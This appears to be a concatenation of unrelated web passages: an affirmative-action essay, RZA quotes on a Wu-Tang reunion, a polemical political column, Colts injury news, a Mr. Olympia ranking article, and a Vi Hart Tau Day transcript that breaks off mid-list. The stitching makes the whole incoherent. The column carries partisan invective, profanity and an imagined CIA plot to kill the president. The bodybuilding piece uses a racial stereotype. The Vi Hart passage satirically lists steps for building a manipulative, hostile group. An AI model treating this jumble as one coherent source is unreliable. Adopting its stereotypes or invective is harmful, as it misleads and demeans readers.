The diversity rationale also facilitates the evasion of prickly subjects -- for instance, the fact that racial minorities selected for valued positions sometimes have records that, according to certain criteria such as standardized tests, are inferior to those of white competitors. The diversity rationale moves the spotlight from the perceived deficiencies of racial minorities to their perceived strengths. Unlike other justifications for affirmative action that seek to make exceptions to meritocracy, the diversity rationale is consistent with meritocratic premises. This is the most striking and historically significant aspect of affirmative action: It enables racial-minority status for the first time in American history to be seen as a valuable credential. Instead of the presence of blacks and other racial minorities constituting an expiation of past sins, the diversity rationale makes their presence a welcome and positive good.
Liberals have been key supporters of the modern struggle for racial equality. Affirmative action is both a major strategy and central accomplishment of that struggle. Its status is paradoxical. The election of the first African American president represents a coming of age of the "affirmative-action babies," but the right has so successfully vilified the policy that Obama is embarrassed by it. He has yet to say forthrightly what Bill Clinton aptly declared: Affirmative action is good for America.
The group might reconvene, he suggested, to mark next year's 20th anniversary of the Wu-Tang's landmark debut album, Enter the Wu-Tang (36 Chambers). "There's one last job Wu-Tang Clan must do," RZA said. "The 20th anniversary is next year. And we need to, one time, completely, efficiently, properly, professionally represent our brand. One more time. But this time, showing up on time for press and for concerts and studio. Do it one time, perfect."
RZA said he believed the power of the Clan had been at its greatest when the other members allowed him to be "a dictator", but that they had since come to like doing things their own way. "It's like: 'What makes you think you're the genius?' Before, they believed in me like that, they trusted me like that. Now, they've had a chance to do their own thing, and some things they liked better. Whether it was successful or not, they may like it better. But I would say, if we get one more shot of me being completely trusted as the driver of the ship, I think we could give the world one more record, maybe. And if not that, one more campaign. You got people with tattoos on, man. You got people that some of those words we did, it influenced their life. And you don't want to leave them."
Let’s take a breather from more consequential money matters at hand midweek to consider the tending moods of our time and place — while a blizzard howls outside the window, and nervous Federal Reserve officials pace the grim halls of the Eccles Building.
It is clear by now that we have four corners of American politics these days: the utterly lost and delusional Democratic party; the feckless Republicans; the permanent Deep State of bureaucratic foot-soldiers and errand boys; and Trump, the Golem-King of the Coming Greatness. Wherefore, and what the fuck, you might ask.
The Democrats reduced themselves to a gang of sadistic neo-Maoists seeking to eradicate anything that resembles free expression across the land in the name of social justice. Coercion has been their coin of the realm, and especially in the realm of ideas where “diversity” means stepping on your opponent’s neck until he pretends to agree with your Newspeak brand of grad school neologisms and “inclusion” means welcome if you’re just like us. I say Maoists because just like Mao’s “Red Guard” of rampaging students in 1966, their mission is to “correct” the thinking of those who might dare to oppose the established leader. Only in this case, that established leader happened to lose the sure-thing election and the party finds itself unbelievably out-of-power and suddenly purposeless, like a termite mound without a queen, the workers and soldiers fleeing the power center in an hysteria of lost identity.
They regrouped briefly after the election debacle to fight an imaginary adversary, Russia, the phantom ghost-bear, who supposedly stepped on their termite mound and killed the queen, but, strangely, no actual evidence was ever found of the ghost-bear’s paw-print. And ever since that fact was starkly revealed by former NSA chief James Clapper on NBC’s Meet the Press, the Russia hallucination has vanished from page one of the party’s media outlets — though, in an interesting last gasp of striving correctitude, Monday’s New York Times features a front page story detailing Georgetown University’s hateful traffic in the slave trade two centuries ago. That should suffice to shut the wicked place down for once and for all!
The Republican Party, to avoid going full-Whig and sliding down the laundry chute of history, made a bad deal for a new figurehead who is liable to make the party look way worse than it could ever accomplish on its own. This golden boy has dragged the party poobahs to the put-up-or-shut-up room of our nation’s capital — the place that Senator Rand Paul was searching high and low for last week — where they are charged with reforming the country’s health care racket. It looks for now like they will cook up a toxic farrago of new giveaways to their patrons in the hospital cartel, the insurance companies, and pharma. The voting public already detects the odor of 30-day-old carp in the first tastings of the dish. There’s a fair chance that the recipe will end up getting tossed in the capitol dumpster, and that in itself could finish the party because there’s little question that the current system known as ObamaCare or the Affordable Care Act (not) is something like a fatal tumor in the nation’s craw. If the effort to fix that fails, the Republicans complete their transformation from the Party of No to the Party of Just Go.
The Deep State seems eager to sever its connections to both putrifying parties and attempt to run the groaning colossus of government ad hoc if necessary. The military and intel chains of command remain intact, along with their “assets,” and one can easily imagine anxious meetings of scenario-running in the back rooms of the Pentagon and the Langley frat house. What if…? “What if we just smoke the fucker?” an old Agency warrior remarks offhand, and the roomful of colleagues pause in their cogitations to weigh the notion. Some of them nod and make a moue, and others just cough into their sleeves. One young striver in the back mentions “a little something” they’ve been working on that involves hairspray and a neurotoxin derived from the Gaboon viper….
And then there is our President himself: Donald J. Trump, in the awesome solitude of his Twitterverse dome. A strange destiny brought him to his place in history thus far, and many of us surveying the scene lo these many months kind of get it: the festering disgust with the other three corners of American power; the dismal fall of the middle class into a purgatory of repossession, idleness, opiates, and tattoos; the accelerating purposeless of the dwindling consumer economy; the matrix of racketeering that systemically drains everyone’s financial mojo while adding humiliation to the shoddy service it delivers; the pointless, costly wars in faraway places and their conversion into permanent shit-holes; the disgraceful disfigurement of a once grand national landscape into a wilderness of dying malls and freeway ramps.
"He's out," Pagano said this afternoon. "He's out. I will not string anybody along with that. We're just upfront and forthright around here, trying to be as honest as we can."
So who will replace Mewhort at left guard? Pagano offered an answer to that question as well: they'll put Lance Louis there.
"When you've got a bunch of guys that prepare as starters," Pagano said, "and I just think of Lance (Louis) going in and stepping in for Hugh (Thornton) at right guard last week and doing a great job, we've got Hugh back so now we just put Lance over at the left side and we roll."
Simple as that: Jack Mewhort will miss this Sunday's game, and Lance Louis, who started at right guard last week in place of the injured Hugh Thornton, will shift over to left guard to play this week. When Donald Thomas initially went down with a season-ending injury, Pagano mentioned both Mewhort and Louis as options to replace him. We all knew that it would be Mewhort, but Louis was at least a bit of an option there for Pagano and the staff.
Additionally, there was a rumor going around this morning that the Colts would start Jonotthan Harrison at center over A.Q. Shipley (possibly because of Shipley moving to guard), but while the second part of that seems to have been shot down by Pagano in saying that Louis will move to left guard, when asked about the rumors of Harrision possibly replacing Shipley, Pagano gave a sort of non-answer.
"I don't know where that's coming from," Pagano said. He continued to say "just be careful what you listen to and read. Wait 'till game day." While that last part might suggest there's something more to the situation, Pagano's answer appeared much more to indicate that he wasn't really going to answer the question about the center position. To me, it seemed like a non-answer - different from last week, when Pagano definitively named A.Q. Shipley the starting center on Wednesday. I wouldn't make too much out of it, but it did send the feeling of a typical "non-answer."
Determining the greatest Mr. Olympia winner of all time is not an easy task. With such an illustrious history marked by several distinct eras, each with at least one champion ushering in a new benchmark for bodybuilding excellence, this unprecedentedly prestigious professional bodybuilding event stands as a living, evolving monument to physical supremacy. Over its 45-year history the Mr. Olympia contest has crowned only 12 winners.
Each of these men has represented the best professional bodybuilding had to offer during their respective era. On several occasions more than one athlete has excelled over the course of a given period, providing legendary rivalries that will not soon be forgotten. In picking the best of the best one is faced with determining championship status based upon several compatible factors: era, level of competition, assisting technological advancements, overall physical development and impact beyond the stage.
When pro bodybuilders are judged at the Olympia they are, for the most part (there will always be bad calls), subject to strict, objective criteria based on what is deemed appropriate at the time. Deciding upon the greatest ever champion requires taking the criteria a particular athlete is judged by into consideration along with all of the conditions governing their win. Like judging the contest itself, popularity, likeability and popular perception should not enter the equation.
In the following feature I will assess each Mr. Olympia winner on their bodybuilding merits and the overall impact they have made on the worldwide bodybuilding subculture, to determine just who is the greatest of all time.
The Contenders
Larry Scott: 1965-66
When Joe Weider established the Mr. Olympia contest - bodybuilding's first professional event - back in 1965, he could not have dreamed how big it would become.
In Larry Scott - professional bodybuilding's first great champion - he could not have asked for a better initial representative: with unprecedented size and shape Scott superseded the development of men like Steve Reeves to truly mark a watershed moment for men's bodybuilding competition.
A sign of great things to come, Scott had charisma, size and freakiness, which captivated scores of fans and helped to establish the pro bodybuilding scene, as we know it today. His impact is immeasurable.
Sergio Oliva: 1967-69
Picking up where Larry Scott left off was Sergio Oliva, a more massive competitor with better conditioning who many still regard as the most genetically gifted bodybuilder of all time.
With rudimentary training and nutritional practices Oliva was able to craft a physique resembling finely hewn steel, with near-perfect symmetry and proportions, and capped off with a startling degree of muscle density.
Known as The Myth, few thought his development could ever be matched. A 27-inch waist, 30-inch quads and 21-inch arms, which flowed seamlessly into a perfectly developed physical whole of megalithic proportions made him worthy of bodybuilding's biggest prize.
Arnold Schwarzenegger: 1970-75, 1980
Even by today's lofty standards, the legendary Arnold Schwarzenegger, in his prime, built an undeniably spectacular physique.
He presented development that was uniquely symmetrical, well proportioned and huge, and he did so with an unprecedented level of charisma and confidence that created an aura of magnificence and invincibility few of his peers could hope to replicate.
He succeeded in winning seven Mr. Olympia titles through intelligent, intensive training efforts coupled with a degree of cunningness and, on several occasions, ruthlessness that, rather than detracting from his image, actually enhanced the mystique surrounding his legend and reputation for being in a class of his own.
The mental game was something the man commonly referred to as the Austrian Oak had mastered. Each contest to him was a battle in which no enemy was to be spared. His 1980 Mr. Olympia win, for example, was highly questionable and his well publicized "psyching out" of the opposition made him a much feared and most intimidating opponent.
But despite this critiquing his influence on and emergence in the world bodybuilding scene has not since been matched. He single-handedly revolutionized bodybuilding's publicly perceived image to where many people took to the iron because its biggest and most outspoken representative did so.
Schwarzenegger also demonstrated the great crossover appeal inherent in building one's physique. He proved that developing the body was not only healthy but also sexy and fun and advantageous from a self-promotional perspective.
But it is, of course, his sublime physical presence - complete with tiny waist, massive arms, near-perfect proportions and great conditioning for its time - that captivated many Oak fans and positioned him, in the minds of many, as the greatest bodybuilder of all time.
Franco Columbu: 1976, 81
Traversing the eras was Franco Columbu who presented a compact and highly muscular physique with great conditioning (for his first win) and spectacular chest and back development. Though not having the overall impact of other Olympia winners, Columbu kept the competition honest and fighting for the top.
His 1981 Mr. Olympia win - which took place in an era marked by a new, superior breed of muscular superstar - hails as one of the most controversial of all time (his leg development was substandard and he was not the best man on stage), making it one of few blots to have emerged on the Olympia landscape.
Frank Zane: 1977-79
The epitome of symmetry and proportion, Frank Zane presented one of pro bodybuilding's first classical physiques. Like living sculpture, he posed his physique to perfection and presented it with class and style.
Zane appealed to those for whom bodybuilding represented the judicious development of muscle in all the right places; not an overemphasis on size at the expense of shape.
Not the largest man on stage (competing at around 180 pounds, ripped), he nevertheless dominated bodybuilding's biggest event for three years, relying on unmatched conditioning and flair to pull off three big wins amongst formidable opposition.
With a small waist, wide shoulders and flaring lat muscles he proved that a magnified V-taper could convey the illusion of great size.
Chris Dickerson: 1982
Though not possessing the phenomenal shape of Zane (few could), Chris Dickerson carried himself with class and posed with the best of them. He was perhaps best known for consistently bringing perfect conditioning and presentation each time he competed.
He also presented among the best calf, shoulder and back development at the time of his 1982 Mr. Olympia win.
His victory was a long time coming: the year prior he had controversially lost the title to Franco Columbu and the year before that was bested by a mediocre Arnold Schwarzenegger. He persisted and was justly rewarded, thus demonstrating the heart of a true champion.
Samir Bannout: 1983
The Lion of Lebanon has had a sketchy pro bodybuilding career, but he pulled it all together in 1983 to shock the world with his best ever showing.
No one would have predicted it but Samir Bannout knew he could do it: and an Olympia win has immortalized him as one of pro bodybuilding's greatest champions. With a complete physique showing no discernable flaws, Bannout's development flowed with no one body part overshadowing the other.
Still, his back and leg development was particularly noteworthy for its thickness and shape. Once he finally nailed his conditioning his physical gifts were all the more obvious.
Lee Haney: 1984-91
Heralding in the late '80s era of mass combined with great shape, Lee Haney drew a clear line in the sand to separate those who figured they could rely on symmetry, proportion and conditioning at the expense of overwhelming size.
No longer could a good small man beat a good big man. Huge muscles were now a 'sizeable' factor; pro bodybuilders needed to have the complete package and this included mind boggling muscular development.
Lee Haney represented a new era in size, but he did not neglect balanced development in doing so. He had the best of both worlds and competitors were now faced with the prospect of gaining the necessary mass to compete with Haney and his ilk.
At over 240 pounds (at his heaviest) Haney was the largest competitive pro - with balanced development - during the early part of his reign. It would take a behemoth to overthrow his hold on the Olympia title.
Dorian Yates: 1992-1997
In 1991 Dorian Yates burst onto the pro bodybuilding scene as a legitimate contender for the Mr. Olympia title, challenging Lee Haney and losing by the slimmest of margins. With Haney's retirement the year following his eighth straight Olympia victory, Yates was the obvious pick for the 1992 event.
And so it transpired: so imposingly muscular and well conditioned was Yates that the 1992 battle ultimately proved to be for second place. Since his first Mr. Olympia win the Englishman Yates continued to gain momentum, presenting a more massive physique with each passing year (reaching 260 pounds of grainy muscle by 1995).
If Haney ushered in the era of size, Yates took the mass stipulation one step further to where freakiness had begun to prevail with men such as the 280-pound Nasser El Sonbaty being, at one point, Dorian's only conceivable competition.
Though not perfectly developed, but with good proportions and layers of ripped to the bone muscle mass, Yates provided yet another benchmark to which pro bodybuilding's elite were forced to aspire.
It seemed that no longer could an under-230 pound competitor win the Mr. Olympia title, regardless of how good they were. Less muscular competitors, it seemed, could claim the smaller titles, but bodybuilding's biggest prize was strictly reserved for the giants of the sport.
Ronnie Coleman: 1998-05
With Yates's retirement from bodybuilding competition in 1997 - after winning his sixth straight Olympia title - the field was wide open. Great competitors such as Shawn Ray, Ken (Flex) Wheeler, Kevin Levrone and Nasser El Sonbaty each were poised and ready to claim the trophy they had waited so long for.
However, a dark horse who was considered nothing more than a top ten competitor had other ideas. Placing ninth the year before, Ronnie Coleman gave it his all in 1998 with a view to cracking the coveted top six.
He instead came away the victor with a physique displaying size and shape that had never before been seen on any pro stage, thus signalling yet another bodybuilding era. Throughout his eight-year reign as champion - equalling the challenge set by Lee Haney six years prior to Ronnie's first big win - Coleman was virtually untouchable.
His 2003 effort - where he competed at almost 290 pounds, shredded - is today widely considered the greatest single performance of any Olympia winner.
Though he made the classic mistake of coming back in 2007 after he had given his best - and was, in placing fourth, soundly beaten by eventual winner Jay Cutler - Coleman is still regarded by many as the greatest bodybuilder of all time.
From an objective standpoint he presented the greatest single collection of desirable attributes needed to win a Olympia title (including great proportions, freaky size and conditioning and an overwhelming onstage presence) - by pure bodybuilding terms alone a strong case could be made for Ronnie Coleman being the best Olympian ever.
Jay Cutler: 2006-07, 2009
Ronnie Coleman's long-time nemesis Jay Cutler had fought the eight-time champ hard since 2001, where he seemingly came from nowhere to almost dethrone the titleholder.
In 2006 his hard work paid great dividends: he captured his first Olympia title fighting off several hungry contenders, at least two of which represented a throwback to the shape and aesthetics rewarded several decades earlier: Dexter Jackson and Melvin Anthony.
With muscle mass on an almost equal par with Coleman, without, it must be said, Ronnie's great balance and shape, Cutler brought a peeled physique to the 2006 Olympia stage and was thusly rewarded.
A popular Olympia champion, Cutler is also the only competitor to have claimed the title back after losing it (to Dexter Jackson in 2008). With all muscle groups fully developed, sheer size is Cutler's biggest advantage, though he is known for being blocky around the midsection, which detracts from his overall aesthetics.
With modern-day champions in the form of Kai Greene and Phil Heath nipping at his heels he will face a great deal of pressure in retaining his title in 2010.
Dexter Jackson: 2008
In 2007 Jay Cutler came off his best form and was lucky indeed to win his second consecutive Olympia title.
In 2008 he repeated this mistake and was justly defeated by next-in-line Dexter Jackson, a smaller competitor with near-flawless development, full, huge muscle bellies and the best conditioning seen since Yates ruled the stage.
A three-time Arnold Classic winner (pro bodybuilding's second biggest prize), Jackson always had Olympia-level credentials.
Winning the title was simply a question of timing. In 2008 the timing was right and the best package won and in doing so the pendulum seemed to have swung back to aesthetics over size, quality over quantity (based on the fact that larger Olympia winners tend to be rewarded even when they are clearly off, as had happened to Haney, Coleman and Cutler on at least one occasion for each).
Though Jackson's victory was short-lived, his win was a wake up call to all competitors: come in shape or perish.
The Champions Speak
Before announcing the greatest ever, read whom past pro champions feel is the best Mr. Olympia to ever pose down on an IFBB stage. These men whose comments follow have all experienced the exhilaration of victory at bodybuilding's highest echelons and are legends in their own right. Several came extremely close to wining an Olympia title of their own.
For me, the guy who impressed me most was Sergio Oliva in 1972, and he did not even win the Mr. Olympia that year. To me, Sergio was only the truly genetic freak that the world of bodybuilding has ever seen.
Sergio achieved his level of development knowing absolutely nothing about diet or nutrition, working long hours at a manual job, and only using Dianabol. The reason I believe he was the best is just that his body responded to what he had available.
The first time I saw Sergio, he weighed 197 lbs. I measured his waist at 27" and each of his thighs measured 29" - this was in 1966. He was so much better than anyone else, if he would have not been allowed to pose, and every one else posed their asses off, he would still easily have won.
- Boyer Coe
IFBB pro bodybuilding legend
Mr. Universe, Mr. America, Mr. World
Without any doubt I feel the best Mr. Olympia winner ever is Ronnie Coleman. If you take a look at Coleman in his prime, compared to any one of the other Mr. Olympia winners in theirs, you could say that Ronnie had more size and hardness and greater longevity.
Also, the very strong and great Ronnie made the most improvements of all bodybuilders while in the amateur ranks and he established, with his very impressive physique, his absolute hegemony and domination in bodybuilding.
Ronnie did not act arrogant or confrontational with anyone and he was patient as a man and as an athlete. Ronnie was the right man at the right time, but also he was, independent of this, in his prime, simply the best bodybuilder ever. I do not see anyone like Ronnie Coleman showing up on a bodybuilding stage, not even for several decades.
- Nasser El Sonbaty
IFBB pro bodybuilding legend
1999 Arnold Classic winner
I'd have to say for me the most dominating and inspiring Mr. Olympia was "Totalee Awesome", Lee Haney! It was one day after my 23rd Birthday in 1988 and I had found myself backstage warming up to compete against the then reigning three time Mr. Olympia Lee Haney, knowing full well I was looking at the evening's eventual winner.
Lee competed at a time in bodybuilding where every pro was a threat to the throne and all of them had legions of fans across the globe. What Lee did for the fans and the inspiration he gave to future professionals cannot be matched.
It is my personal opinion that bodybuilding's Golden Years were in the 80s and early 90s, of which Lee sat atop his throne as a worthy champion revered and respected by all. That speaks volumes as to where we are now as a sport and the perception of our Olympia champions by comparison to his time. Lee is and was the best Mr. Olympia I have ever had the pleasure to come across as a man and athlete.
- Shawn Ray
IFBB pro bodybuilding legend
1991 Arnold Classic winner
NPC National's champion
For my money the best two Mr. Olympia winners of all time are Arnold Schwarzenegger and Ronnie Coleman. Their respective contributions to professional bodybuilding are great.
- Lou Ferrigno
IFBB pro bodybuilding legend
In my opinion the best Mr. Olympia winner of all time was Ronnie Coleman, especially when Ronnie was in top condition shape, dry and shredded. At that time, Ronnie even managed to combine aesthetics and size; he then personified the best total package to win the Mr. Olympia.
The physique of Ronnie was a composite of full muscle bellies, distinctive separation, density and definition, all in perfect proportion and with symmetry - his small waist and narrow bones made him appear even bigger than he really was.
- Francis Benfatto
IFBB pro bodybuilding legend
So Who Is The Greatest Of All Time?
When discussing past Mr. Olympia champions everyone has their personal favorite, the reasons for their choice being as varied as the physiques that take to the stage each September come Olympia time.
However, the purpose of this article is to determine the best based on objective criteria, the specific conditions - to be mentioned soon - surrounding each champion's victory and the overall impact they made. Selecting an overall winner on this basis, though hard, can be done.
Once again, and taking into consideration the era in which each champion competed, choosing the greatest Olympian ever requires a detailed analysis of all of the critical factors governing each of their wins in conjunction with an assessment of the physical development they presented.
It must also be mentioned that each new bodybuilding era presented concomitant technological advancements: while competitors of the '70s, for example, progressed with comparatively little training and nutritional guidance and few high tech resources (including the sophisticated array of anabolic drugs that today's competitors enjoy and the advantages these confer), the champs of the '90s benefited from an environment vastly more conducive to bodybuilding success.
It is only fair that this also be factored into a 'best of the best' assessment. Could you imagine if the phenomenally gifted Sergio Oliva had access to the drugs, training methods and advice of today? He had no such thing.
Rather, he worked 10 hours a day, took a few Dianabol tabs and trained whenever he could. Although it is purely hypothetical to suggest that he could have beaten a Ronnie Coleman had he benefited from Coleman's lifestyle, it is nevertheless an important consideration. Let us now begin with our top six comparisons to determine the greatest Mr. Olympia ever.
Top six (in no particular order):
Dorian Yates: pioneered extreme size, six-time champion, unmatched conditioning. Lee Haney: began the mass era, eight-time champion, great balance. Ronnie Coleman: ultra-freaky size with great proportions and conditioning, eight-time champion, largest Mr. Olympia of all time. Sergio Oliva: first truly massive competitor, three-time champion, near-perfect symmetry and proportions. Arnold Schwarzenegger: powerful aura and image, seven-time champion, most recognizable bodybuilder of all time, demonstrated great proportions and size. Frank Zane: classic physical dimensions, three-time champion, excellent aesthetics, perfect posing and presentation.
Ladies and gentlemen, after careful consideration your top two are:
Ronnie Coleman Arnold Schwarzenegger
Pose Off:
Athletes Are Graded From 1 - 10 (10 Being A Perfect Score)
Body Part Comparison:
Arms:
Schwarzenegger: 9
Coleman: 10
While both competitors possessed full and massive arm development Ronnie has an advantage in conditioning, separation and symmetry (one of Arnold's guns was slightly larger than the other and he had fewer cuts overall).
Quads And Hamstrings:
Schwarzenegger: 7
Coleman: 10
Though Arnold had nicely shaped quads, his hamstring development was sorely lacking. Ronnie, on the other hand, possessed huge, cut and balanced quads and hams.
Calves:
Schwarzenegger: 10
Coleman: 8
Arnold was known for his massive, shapely calves. Ronnie, suffering the black man's curse, had average calves compared with the rest of his astounding physique.
Chest:
Schwarzenegger: 10
Coleman: 10
Both champions presented perfectly developed pectorals.
Back:
Schwarzenegger: 8
Coleman: 10
While Arnold had good back cuts and reasonable lat development his back was not complete and was especially lacking in the lower region (ever notice how few of his photos are back shots?). Ronnie is known for his thick, wide back development - perfect from top to bottom.
Shoulders:
Schwarzenegger: 8
Coleman: 10
Given he had such a massive chest, Arnold needed sublime shoulders to accentuate his width. His deltoids, however, were sloping (especially when standing relaxed) and did not have that cannonball look. Like the rest of his upper body Ronnie's shoulders were fully developed, huge and sliced to ribbons.
Abs/Waistline:
Schwarzenegger: 9
Coleman: 7
A small tight waist benefited Arnold immensely on stage, while Ronnie was sometimes caught with a protruding stomach. Abdominal development is about equal, but a tight and small waistline is always a competitive asset.
Symmetry:
Schwarzenegger: 9
Coleman: 10
While Arnold presented some great body parts his physique did not flow as well as Ronnie's: discounting his weaker calves Ronnie's development was perfectly balanced.
Overall Muscle Size:
Schwarzenegger: 8
Coleman: 10
At a competitive peak of around 235 pounds at 6'2" Arnold was considered one of the larger competitors of his day. At 5'11" and averaging 275 pounds (and with better conditioning compared to Arnold) there is no question that Ronnie was more muscular and larger overall.
Conditioning:
Schwarzenegger: 7
Coleman: 10
When Ronnie hit his stride he was one of the most peeled men on stage with paper-thin skin, which accentuated every cut and furrow. Arnold, while in great shape for his time, probably never competed ripped to the bone - as all competitors today must.
Posing And Presentation:
Schwarzenegger: 10
Coleman: 9
Known for being the king of charisma and showmanship, Arnold always entertained the crowds. His posing was graceful, yet powerful. Ronnie's posing had great impact, but he did not have the Oak's presentational abilities.
Number Of Mr. Olympia Wins:
Schwarzenegger: seven (7 points)
Coleman: eight (8 points)
Level Of Competition:
Schwarzenegger: 8 - average number of competitors in Olympia contests he won: five (most of them well out of his physical league).
Coleman: 10 - average number of competitors in Olympia contests he won: 20 (most of them balanced, huge and ripped).
Technology:
Schwarzenegger: 10 (did remarkably well despite limited, or no access to the technologies enjoyed today).
Coleman: 8 (had access to a full array of bodybuilding chemicals and advanced training and nutritional practices).
Overall Impact Off Stage:
Schwarzenegger: 10
Coleman: 8
While Ronnie is admired the world over for his humble, approachable manner and commendable values (which have presented bodybuilding in a positive light), Arnold took bodybuilding to the masses through the high official positions he has attained and his impact within the political and acting spheres.
Total Scores:
Schwarzenegger: 130
Coleman: 138
And the winner is: Ronnie Coleman
Conclusion
I’m going to do a very special Tau Day video this year and break the 4th wall a bit. If you’re a fan worried I might ruin the Vi Hart Brandsperience this video is especially for you. Now, a youtuber’s brand is this delicate thing sustained through collaboration between the artist and audience. If I started younger I probably would have been more into the social vloggy youtubery aspect where we have a community with a name and we do tags and form an identity, not because that’s what younger people do but because that’s the norm, that’s the top ten tips for success on youtube, and at that point I wouldn’t have known what I want from life well enough to know that’s not the direction I want to go in.
Some of our inside jokes and vihart lingo would be purposefully created, but some of it would just kinda happen, like, we’ve all got our hands on the little ouija board triangle thingy but no one feels like they’re directing it when all of a sudden we all agree that cats are the waste product of a particularly complicated multidimensional robot. hmm, kinda makes sense when you think about it. And now that’s the truth, or at least its canon, and after a while what’s the difference.
We would be such a good cult. We have so much amazing cult potential, it takes effort to not accidentally become a cult.
Anyway. Suspension of disbelief is an interesting thing with many varieties. Take the doodling in math class series.
“Say you’re me and you’re in math class and…”
This is standard suspension of disbelief where I write straight up fiction and you enjoy the story. You don’t have to think about it very long to realize I’m not talking to myself in a real math class as I draw in real time. It has scripted narration on top of heavily edited film.
However, youtube has some features that traditional film did not, which can lead to a sort of communal extended suspension of disbelief.
Sometimes I get comments asking about what my math teacher thought or did I get in trouble, responding to the character I play in the video rather than to actual me. I assume a lot of these comments are from folks consciously enjoying taking part in the fiction. And some are probably from folks in that fuzzy suspension of disbelief state where you’re going along with a story without really thinking about it, I mean if they stopped to think about it they’d know I’m not really in my math class but they’re enjoying a youtube binge in an extended suspension of disbelief state so they don’t stop to think about it, that would ruin the experience.
Overactive suspension-of-disbelief is common and encouraged in children but even as adults its normal to have knee-jerk emotions based on fiction. Like, you have a gut reaction against a stranger on the street and then you realize they look just like the actor who played the villain in a show you used to watch. Our brains are just really good at giving us fast first impressions based on fictional depictions of people, and then logic catches up and we either set ourselves straight or rationalize.
Sometimes our instinct is to idolize someone that we know we don’t actually know, and sometimes there’s a bit of a blurred line, say with vloggers with branded personalities where you feel a bit like you know them even though you know you’re getting a highly curated view of their life, and there can be some beautiful and worthwhile things in that connection if it isn’t abused.
See, YouTube is a giant cross-temporal ouija board with an algorithmic triangly thingy that collaborates with viewers to create the stories you want to hear without you feeling like you’re moving the triangle thingy even though of course you are, along with a million other people. So the triangly thingy, ok let’s actually look this up because I’m sure there’s a word for it, the Planchette. Recommendation Algorithms are a giant Million-person Cross-temporal Planchette. Yeah I was hoping for a funner word. Maybe we could use the English translation which is… Planky. The internet is a universal planky that points us to what we want to believe without us feeling like it’s our fault.
The intended use case of the algorithmic planky is a smooth user experience, I can keep on being a pair of hands doodling in real time in my gradeschool math class for as long as you want and you never have to see my other kinds of videos or think about the fact that these things take me weeks and I’m a professional in my 30s with a face before off you go to some other story, hopefully one with advertisements cuz planky is hungry.
So. I’ve been making videos where the story is that I hate Pi for 8 years, starting with the viral success “Pi is (still) Wrong” and most recently with “Alternative Pi”. But I don’t hate Pi. I mean, I do honestly think the circle constant should have been Tau, but I think pi is fine, there’s plenty of unfortunate notational choices that make math confusing and pi certainly isn’t the worst of them, I think celebrating pi day is a good thing to do even if Tau day is twice as good, and so I celebrate Pi day loudly and publicly every year with another installment in this manufactured controversy.
Anyone who stops to think about it, who stops suspending their disbelief, will realize I’m not a student in algebra class who hates Pi, I’m an artist enjoying engaging an audience with a passionate mathematical experience, but if you’re just browsing around you might not think about it much and move on to something else thinking “wow there’s some chick who really hates pi” instead of applying your media literacy skills to every single youtube video you consume ever. I mean, if you’re not continuously suspending your disbelief while you watch youtube it kind of ruins the experience as you realize how much of it is just product placement and sponsorships and shallow clickbait meant to take advantage of the stories we’re collaborating with the algorithms to tell. What I mean is: we’re not just listening to the stories already there, we’re telling stories to ourselves through our searches and clicks and views, and the more shallow the content, the easier we can fit it into our story instead of listening to someone else’s. Which is why I try to not be shallow so you can’t take my story from me,
Anyway I’d originally heard that pi is wrong from the mathematician John Conway through word of mouth and I found some other things people had written about it through the years but there just wasn’t enough righteous anger in these math facts to make a good story, so that was my contribution to humanity, and others joined in, first people I knew and then people I didn’t, and now instead of me telling the story planky can help you do it in whichever way best serves all our secret desires.
Our secret desire to be told we’re smart and know better than those Pi people, if you’re on the Tau side, or better than those Tau people, if you start on the Pi side, or better because we accept both or don’t care. Same story. We all want to suspend our disbelief and take part in a fiction where we’re better than other people, what safer, better outlet for that than this fun little controversy about Tau vs Pi? We enjoy arguing and engaging with mathematical discourse in a way that harms no one and that I hope makes people a bit more conscious of the mechanisms of manufactured controversy.
BUT IF I WERE EVIL. Or maybe just if I got too wrapped up in myself and didn’t know better. Here’s how to ruin everything.
Step 1: create a group identity around a shared belief.
For us of course it’s that Tau rules Pi drools, we got that down, but it doesn’t really matter what it is. It can start as something simple, innocent, enjoyable to argue about without it really mattering. It can even start as an opinion. We’ll pivot to bigger and stronger beliefs in phase 2. But first:
Step 2: create a body of rhetoric that the group can repeat to defend their belief.
We know our talking points. Simpler equations, easier to understand, we’ve got rebuttals to their talking points too. As the group evolves beyond just being about Tau vs Pi we will expand our talking points to be that it was never really about pi vs tau, it’s about revolutionizing education, or maybe it’s about how only truly smart triangles are reasonable and open minded enough to accept new truths like Tau but also including the bigger beliefs of phase 2.
Having multiple layers of rhetoric is good because you can switch whenever one isn’t working. Whatabouts and its-really-abouts are such good friends.
Step 3: spread the word / start beef
It’s all in good fun, at least, in phase 1, the phase 2 version is start beef. But you’ve got to send your people out there to argue and act independently of you.
First I’ll send out the Tauists to merely inform and link Pi people to some Tau information. It’s educational and just sharing something we love. In this step we’ll even recruit more tauists who want to join the fun and who think the math is interesting, and successful conversions make us look legit.
As we get into the habit of taubombing people it’s inevitable that at some point someone will go a little over the line. At this point one might realize that being a leader comes with some responsibility, but you must resist that urge, you can’t control other people’s actions, and anyway if some random person is upset about being called a loser for liking Pi, it’s just because they don’t get the joke, they should come join us, not get mad about it. We’ll all share a laugh over it so that everyone knows they have permission within the group to make mistakes and go a little overboard, it’s not a big deal.
You might recruit some folks but the goal of this step is to gain enemies, eventually someone is bound to overreact even to the lightest teasing. But in stage 1, even someone pretending to be an enemy for fun will do, because we’ll pressure them to either admit they’re not really against us, which is a win for us, or to become a true enemy, which is a win for me, because now I can move on to:
Step 4: Make your group members feel like the scum of the earth and that everyone hates them.
It might seem counterintuitive, also unethical, but this step is so important.
I need to constantly put my followers down by using other people’s worst words about them, and luckily we’ve manufactured some enemies, don’t worry about whether your enemies are actually causing real world harm to anyone, that’s not the point. You just want to make your followers feel attacked and disrespected. Think of it as if your enemies words are swords, and its not your fault if it hurts your followers when you show them those swords. In the face. Don’t get distracted by wondering if those swords were actually hurting anyone before you picked them up. Yeah, this metaphor is really working.
As our actions escalate in phase 2 the responses will too so I can play on my followers’ insecurities and wear down their self-worth until they actually feel hated. I mean we’re talking about humans here, we can convince ourselves someone’s mad at us if we send a message and don’t get a reply in 5 minutes, so this step is easy. To ruin everything, first I must ruin my follower’s lives by making sure they know they are scum. At least, outside of our little group. I understand them. I love them. I need them. And I’m the only one who ever will.
I’ve got to get them feeling really and truly hurt by everyone but us because that’s when we can:
Step 5: Escalate.
We’ve got to get our group in a story where they are so wrapped up in the fun idea of righteous retaliation that they suspend their disbelief well past when they start to actually cause harm to other people and real actions feel rhetorical.
